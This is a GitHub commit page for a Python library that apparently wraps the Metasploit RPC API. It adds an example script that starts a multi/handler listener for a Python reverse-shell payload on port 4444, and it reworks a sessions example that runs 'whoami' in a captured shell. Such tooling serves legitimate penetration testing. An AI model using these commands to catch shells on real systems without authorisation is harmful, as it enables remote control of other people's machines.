Skip to content

Commit

Permalink
renamed sessions example; added module execution example
Browse files Browse the repository at this point in the history
  • Loading branch information
SadParad1se committed Jul 16, 2024
1 parent 21acb15 commit 8174bd7
Show file tree
Hide file tree
Showing 2 changed files with 28 additions and 1 deletion.
23 changes: 23 additions & 0 deletions examples/execute_module_with_output.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
import time

from snek_sploit import MetasploitClient, ModuleType, SessionInformation


def main():
# Initialize client
client = MetasploitClient("msf", "root", disable_https_warnings=True)
console = client.consoles.create()

commands = [
"use multi/handler",
"set PAYLOAD python/shell_reverse_tcp",
"set LHOST 0.0.0.0",
"set LPORT 4444",
"run -z",
]
result = console.execute("\n".join(commands))
print(result)


if __name__ == "__main__":
main()
6 changes: 5 additions & 1 deletion examples/sessions.py → examples/session_listener.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
from snek_sploit import MetasploitClient, ModuleType, SessionInformation


if __name__ == "__main__":
def main():
# Initialize client
client = MetasploitClient("msf", "root", disable_https_warnings=True)

Expand All @@ -23,3 +23,7 @@
# Execute in shell
result = shell.execute("whoami")
print(result)


if __name__ == "__main__":
main()

0 comments on commit 8174bd7

Please sign in to comment.